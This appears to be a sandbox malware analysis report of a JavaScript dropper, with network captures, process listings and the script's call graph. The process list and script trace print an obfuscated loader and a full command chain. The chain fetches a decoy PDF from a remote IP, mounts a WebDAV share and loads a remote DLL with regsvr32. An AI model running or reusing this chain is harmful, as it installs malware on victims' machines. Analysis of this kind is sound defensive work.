Jan 10, 2025 19:28:11.384356976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.384654045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384689093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384722948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384761095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384769917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.384769917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.384795904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384829998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384862900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384896994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384901047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.384932041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.384972095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.387341976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.434950113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435189009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435240030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435273886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435348034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.435348034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.435353994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435475111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435508013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435527086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.435540915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435575008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435666084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.435842991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435878992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435913086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435930967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.435950994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.435986042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:11.436031103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.436031103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.716921091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:11.725073099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:12.015332937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:12.763396025 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:12.768174887 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:12.768287897 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:12.768426895 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:12.773179054 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:13.545140028 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 19:28:13.590019941 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:28:13.661871910 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 19:30:15.080996990 CET	60432	53	192.168.2.7	1.1.1.1
Jan 10, 2025 19:30:15.086031914 CET	53	60432	1.1.1.1	192.168.2.7
Jan 10, 2025 19:30:15.086119890 CET	60432	53	192.168.2.7	1.1.1.1
Jan 10, 2025 19:30:15.086137056 CET	60432	53	192.168.2.7	1.1.1.1
Jan 10, 2025 19:30:15.091032028 CET	53	60432	1.1.1.1	192.168.2.7
Jan 10, 2025 19:30:15.534696102 CET	53	60432	1.1.1.1	192.168.2.7
Jan 10, 2025 19:30:15.535657883 CET	60432	53	192.168.2.7	1.1.1.1
Jan 10, 2025 19:30:15.540743113 CET	53	60432	1.1.1.1	192.168.2.7
Jan 10, 2025 19:30:15.540823936 CET	60432	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:28:21.312078953 CET	65024	53	192.168.2.7	1.1.1.1
Jan 10, 2025 19:30:15.080487013 CET	53	63009	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:28:21.312078953 CET	192.168.2.7	1.1.1.1	0xe559	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:28:21.321137905 CET	1.1.1.1	192.168.2.7	0xe559	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:28:22.029438972 CET	1.1.1.1	192.168.2.7	0x217	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:28:22.029438972 CET	1.1.1.1	192.168.2.7	0x217	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	7400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:28:09.759850979 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:28:10.557596922 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:28:10.557657003 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:28:10.557693005 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:28:10.557895899 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:28:10.557934046 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 19:28:10.558051109 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:28:10.558085918 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:28:10.558121920 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 19:28:10.558161020 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 19:28:10.558196068 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 19:28:10.609205961 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7984	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:28:12.768426895 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:28:13.545140028 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:28:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js"
Imagebase:	0x7ff6965f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:28:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll
Imagebase:	0x7ff625950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:28:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:28:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:28:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:28:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff625950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:28:11
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff714500000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:28:12
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:28:12
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:28:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1736,i,18039073319916062668,16876774319541753716,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gujsdkcfu() {	gujsdkcfu() ➔ undefined
1	hocihuu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kttjl = this[mgoizuww + bkfomvuy + cwumndyrd + besqr + haxcgo + ofdpiqtme + qgnmqsm + bpxgtk] ( this[vecekv + gamimq + nglpe + cwumndyrd + zkxrez + mgoizuww + bpxgtk][snegsdc + cwumndyrd + haxcgo + bkfomvuy + bpxgtk + haxcgo + bsgxprh + sraqldo + mhjoo + haxcgo + nglpe + bpxgtk] ( vecekv + gamimq + nglpe + cwumndyrd + zkxrez + mgoizuww + bpxgtk + zmvis + gamimq + lyiksxje + haxcgo + ciextvz + ciextvz ) [mcxsh + haxcgo + yauuobaul + mcxsh + haxcgo + bkfomvuy + ovewstxp] ( aupmpqof + ckowdv + noqtd + fvxyur + psospzih + snegsdc + rczvocpt + mcxsh + mcxsh + noqtd + yrldfbsu + oxvtwand + psospzih + rczvocpt + gamimq + noqtd + mcxsh + mzcyovsfr + snegsdc + ihqxvnvb + qgnmqsm + bpxgtk + cwumndyrd + ihqxvnvb + ciextvz + hnqderp + sbobto + bkfomvuy + qgnmqsm + haxcgo + ciextvz + mzcyovsfr + ofdpiqtme + qgnmqsm + bpxgtk + haxcgo + cwumndyrd + qgnmqsm + bkfomvuy + bpxgtk + zkxrez + ihqxvnvb + qgnmqsm + bkfomvuy + ciextvz + mzcyovsfr + ajwkbnl + ihqxvnvb + nglpe + bkfomvuy + ciextvz + haxcgo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( atzksfrb = 0 ; atzksfrb < hocihuu[ciextvz + haxcgo + qgnmqsm + yauuobaul + bpxgtk + lyiksxje] ; ++ atzksfrb )
4	{
5	if ( kttjl == hocihuu[atzksfrb] )
6	{
7	kttjl = true;
8	break ;
9	}
10	}
11	if ( kttjl !== true )
12	this[vecekv + gamimq + nglpe + cwumndyrd + zkxrez + mgoizuww + bpxgtk][xyemuyct + krfdzex + zkxrez + bpxgtk] ( );
13	this[vecekv + gamimq + nglpe + cwumndyrd + zkxrez + mgoizuww + bpxgtk][snegsdc + cwumndyrd + haxcgo + bkfomvuy + bpxgtk + haxcgo + bsgxprh + sraqldo + mhjoo + haxcgo + nglpe + bpxgtk] ( vecekv + gamimq + nglpe + cwumndyrd + zkxrez + mgoizuww + bpxgtk + zmvis + gamimq + lyiksxje + haxcgo + ciextvz + ciextvz ) [cwumndyrd + krfdzex + qgnmqsm] ( nglpe + doxjkw + ovewstxp + hnqderp + lsfqtv + nglpe + hnqderp + mgoizuww + ihqxvnvb + jrkqwex + haxcgo + cwumndyrd + besqr + lyiksxje + haxcgo + ciextvz + ciextvz + zmvis + haxcgo + jbyjnu + haxcgo + hnqderp + hmyrmw + snegsdc + ihqxvnvb + doxjkw + doxjkw + bkfomvuy + qgnmqsm + ovewstxp + hnqderp + mkuixltwb + ofdpiqtme + qgnmqsm + mnxfmxlmd + ihqxvnvb + ghdtyvxf + haxcgo + hmyrmw + vecekv + haxcgo + sraqldo + mcxsh + haxcgo + fuqcnvp + krfdzex + haxcgo + besqr + bpxgtk + hnqderp + hmyrmw + bsgxprh + krfdzex + bpxgtk + hrgdtfs + zkxrez + ciextvz + haxcgo + hnqderp + wapdhx + bpxgtk + haxcgo + doxjkw + mgoizuww + wapdhx + mzcyovsfr + zkxrez + qgnmqsm + mnxfmxlmd + ihqxvnvb + zkxrez + nglpe + haxcgo + zmvis + mgoizuww + ovewstxp + xrkvb + hnqderp + lyiksxje + bpxgtk + bpxgtk + mgoizuww + oldmszyk + lsfqtv + lsfqtv + whdbznukc + hubxkdfy + pynkhakcr + zmvis + whdbznukc + gnrixazs + pynkhakcr + zmvis + whdbznukc + zmvis + ncbbsv + zdtzxymts + zlifhcf + lsfqtv + zkxrez + qgnmqsm + mnxfmxlmd + ihqxvnvb + zkxrez + nglpe + haxcgo + zmvis + mgoizuww + lyiksxje + mgoizuww + mkuixltwb + vrpdeh + vrpdeh + besqr + bpxgtk + bkfomvuy + cwumndyrd + bpxgtk + hnqderp + wapdhx + bpxgtk + haxcgo + doxjkw + mgoizuww + wapdhx + mzcyovsfr + zkxrez + qgnmqsm + mnxfmxlmd + ihqxvnvb + zkxrez + nglpe + haxcgo + zmvis + mgoizuww + ovewstxp + xrkvb + vrpdeh + vrpdeh + nglpe + doxjkw + ovewstxp + hnqderp + lsfqtv + nglpe + hnqderp + qgnmqsm + haxcgo + bpxgtk + hnqderp + krfdzex + besqr + haxcgo + hnqderp + mzcyovsfr + mzcyovsfr + whdbznukc + hubxkdfy + pynkhakcr + zmvis + whdbznukc + gnrixazs + pynkhakcr + zmvis + whdbznukc + zmvis + ncbbsv + zdtzxymts + zlifhcf + emjlf + occxw + occxw + occxw + occxw + mzcyovsfr + ovewstxp + bkfomvuy + mnxfmxlmd + jrkqwex + jrkqwex + jrkqwex + cwumndyrd + ihqxvnvb + ihqxvnvb + bpxgtk + mzcyovsfr + vrpdeh + vrpdeh + nglpe + doxjkw + ovewstxp + hnqderp + lsfqtv + nglpe + hnqderp + cwumndyrd + haxcgo + yauuobaul + besqr + mnxfmxlmd + cwumndyrd + pynkhakcr + ncbbsv + hnqderp + lsfqtv + besqr + hnqderp + mzcyovsfr + mzcyovsfr + whdbznukc + hubxkdfy + pynkhakcr + zmvis + whdbznukc + gnrixazs + pynkhakcr + zmvis + whdbznukc + zmvis + ncbbsv + zdtzxymts + zlifhcf + emjlf + occxw + occxw + occxw + occxw + mzcyovsfr + ovewstxp + bkfomvuy + mnxfmxlmd + jrkqwex + jrkqwex + jrkqwex + cwumndyrd + ihqxvnvb + ihqxvnvb + bpxgtk + mzcyovsfr + hubxkdfy + zdtzxymts + zdtzxymts + hubxkdfy + ncbbsv + pynkhakcr + zdtzxymts + whdbznukc + pynkhakcr + ncbbsv + zlifhcf + hubxkdfy + zdtzxymts + zlifhcf + zmvis + ovewstxp + ciextvz + ciextvz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll",0,false) ➔ 0
14	}
15	mnxfmxlmd = "q";
16	mnxfmxlmd = "o";
17	mnxfmxlmd = "B";
18	mnxfmxlmd = "l";
19	mnxfmxlmd = "o";
20	mnxfmxlmd = "Z";
21	mnxfmxlmd = "f";
22	mnxfmxlmd = "i";
23	mnxfmxlmd = "E";
24	mnxfmxlmd = "w";
25	mnxfmxlmd = "c";
26	mnxfmxlmd = "x";
27	mnxfmxlmd = "X";
28	mnxfmxlmd = "q";
29	mnxfmxlmd = "I";
30	mnxfmxlmd = "u";
31	mnxfmxlmd = "h";
